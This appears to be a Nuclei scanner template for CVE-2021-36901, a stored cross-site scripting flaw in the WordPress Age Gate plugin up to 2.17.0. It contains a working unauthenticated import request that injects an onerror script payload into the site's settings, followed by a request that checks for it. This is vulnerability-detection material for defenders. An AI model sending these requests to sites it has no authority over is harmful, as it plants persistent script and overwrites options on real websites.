Description
Unauthenticated Stored Cross-Site Scripting (XSS) vulnerability in Phil Baker's Age Gate plugin <= 2.17.0 at WordPress.
Unauthenticated Stored Cross-Site Scripting (XSS) vulnerability in Phil Baker's Age Gate plugin <= 2.17.0 at WordPress.
id: CVE-2021-36901
info:
name: Age Gate <= 2.17.0 - Unauthenticated Stored Cross-Site Scripting via Data Import
author: DhiyaneshDk
severity: medium
description: |
Unauthenticated Stored Cross-Site Scripting (XSS) vulnerability in Phil Baker's Age Gate plugin <= 2.17.0 at WordPress.
impact: |
Execution of arbitrary JavaScript in the browser of every visitor to an age-gated page, and arbitrary WordPress option overwrite via the unauthenticated import.
remediation: |
Update Age Gate to 2.18.0 or later, and restrict the import/export functionality.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-36901
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/age-gate/age-gate-2170-cross-site-scripting-via-data-import
- https://wpscan.com/vulnerability/e10767b7-018c-4532-8be6-09834055844c/
- https://plugins.trac.wordpress.org/changeset?old_path=/age-gate/tags/2.17.1&new_path=/age-gate/tags/2.18.0
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-36901
cwe-id: CWE-79
metadata:
verified: true
max-request: 2
vendor: agegate
product: age-gate
framework: wordpress
publicwww-query: "/wp-content/plugins/age-gate/"
tags: cve,cve2021,wordpress,wp-plugin,age-gate,xss,unauth,intrusive,kev,vkev
variables:
marker: "{{to_lower(rand_text_alpha(12))}}"
boundary: "{{rand_base(24)}}"
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-admin/admin-post.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary={{boundary}}
--{{boundary}}
Content-Disposition: form-data; name="ag_import_action"
import
--{{boundary}}
Content-Disposition: form-data; name="ag_json"; filename="s.json"
Content-Type: application/json
{"x":{"wp_age_gate_messages":{"button_text":"\"><img src=x onerror=alert(document.domain)>{{marker}}","yes_text":"Yes","no_text":"No","yes_no_message":"Are you over %s?","instruction":"","under_age_msg":"no","generic_error_msg":"err","invalid_input_msg":"inv","remember_me_text":"r","cookie_message":"c","text_day":"D","text_month":"M","text_year":"Y","messaging":"","additional":""}}}
--{{boundary}}--
matchers:
- type: dsl
dsl:
- "status_code == 200 || status_code == 302"
internal: true
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<img src=x onerror=alert(document.domain)>{{marker}}'
- type: status
status:
- 200
# digest: 490a0046304402206f30d23c66cdf04c9a995ea2630e784c168868a90f59a787ae657d374a997df80220301ceca6ddf8b1571f3043da12cc8fbbecf5286f6892cbd748aa46fb38386956:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.